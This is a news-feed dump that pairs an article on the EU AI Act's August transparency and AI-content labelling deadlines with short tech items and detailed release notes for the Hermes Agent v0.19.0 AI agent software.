A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.



Transparency requirements



The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.



“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.



Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.



Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.



AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.



The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.



Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.



However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”



A consistent code of practice



Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.



Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.



Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.



Criteria for compliance 



Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.



B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.



Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.



“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.



Creating a transparency pipeline



Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.



Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.



The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.



“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.



Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”



Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.



His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.



Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.



To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.



“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.



This article originally appeared on CIO.com.



The EU’s AI transparency deadline is weeks away. Is your enterprise ready?
Tue, 21 Jul 2026 03:48:17 +0200

		
					  
						




Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.



After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”



Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”



Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.



“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”



A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.



Transparency requirements



The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.



“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.



Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.



Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.



AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.



The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.



Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.



However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”



A consistent code of practice



Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.



Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.



Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.



Criteria for compliance 



Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.



B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.



Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.



“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.



Creating a transparency pipeline



Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.



Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.



The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.



“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.



Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”



Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.



His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.



Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.



To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.



“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.



IT Security News Daily Summary 2026-07-20
Tue, 21 Jul 2026 00:06:18 +0200
148 posts were published in the last hour 20:34 : CVE-2026-63030 and CVE-2026-60137: Mitigating a Critical Unauthenticated RCE Chain in WordPress 20:34 : Top 5 Disaster Recovery Companies in 2026 20:34 : AWS Billion-Dollar Software Bug Explained 20:34 : Scammers…
Read more →
The post IT Security News Daily Summary 2026-07-20 appeared first on IT Security News.


Apple Releases macOS 27 Golden Gate Beta 4: What’s New and How to Install
Mon, 20 Jul 2026 23:11:00 +0200
Apple has released macOS 27 Golden Gate beta 4 to registered developers for testing. The latest build arrives as Apple continues refining the major macOS update before its public release later this year.



The update is available over the air on compatible Macs enrolled in the developer beta program. Since beta software can contain bugs, users should back up important files before starting the installation.



How To Install



Developers can download the update through the Software Update section:




Back up your Mac using Time Machine or another backup method.



Open the System Settings app.



Select General and click Software Update.



Click the information icon next to Beta Updates.



Select macOS 27 Developer Beta.



Return to the Software Update screen.



Click Upgrade Now to download and install beta 4.




A free Apple developer account linked to the Mac is required to access the developer beta.



What’s New in macOS 27 Golden Gate Beta 4



Apple has not announced any major user-facing features specifically added in beta 4. The update appears to focus on fixing bugs, improving performance and making existing macOS 27 features more stable.



Some areas users should check after installing the update include:




Siri AI stability: macOS 27 introduces a more conversational Siri experience with expanded Apple Intelligence features. Beta 4 should continue improving its performance and reliability.



Liquid Glass design: Apple is refining transparency, typography, navigation bars and other visual elements across apps and system menus.



System performance: The latest beta likely contains under-the-hood improvements for app launches, animations and general system responsiveness.



App compatibility: Developers can use beta 4 to test their apps against the latest macOS 27 APIs and identify problems before the final release.



Bug fixes: The update should address problems reported in earlier builds, although Apple has not provided a complete public list of fixes.




More changes may appear as developers continue testing the update. Apple plans to release macOS 27 Golden Gate to compatible Mac users later this year.



If you’ve already installed the update, let us know your experience in the comments.


Top 5 Disaster Recovery Companies in 2026
Mon, 20 Jul 2026 22:53:36 +0200
This is a comprehensive list of the top Disaster Recovery as a Service providers. Use this guide to compare and choose the best solution for you. The post Top 5 Disaster Recovery Companies in 2026 appeared first on TechRepublic. This…
Read more →
The post Top 5 Disaster Recovery Companies in 2026 appeared first on IT Security News.


Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release
Mon, 20 Jul 2026 20:46:40 +0200
Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026

Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.


✨ Highlights


Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)


The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)


Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)


Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny  (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)


Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)


Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)


A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)


One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)


New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)


Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)


Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)


Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)



⚡ Performance — the speed spine
First-turn latency (all platforms)

~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture
Providers & models

Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

max + ultra effort levels across every surface and route (#62650 — @teknium1)
Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
Smart approvals default; user-defined deny rules (block even under yolo); /deny  relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
Session auto-reset default off; /sessions search ; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

/subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
/model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
--safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
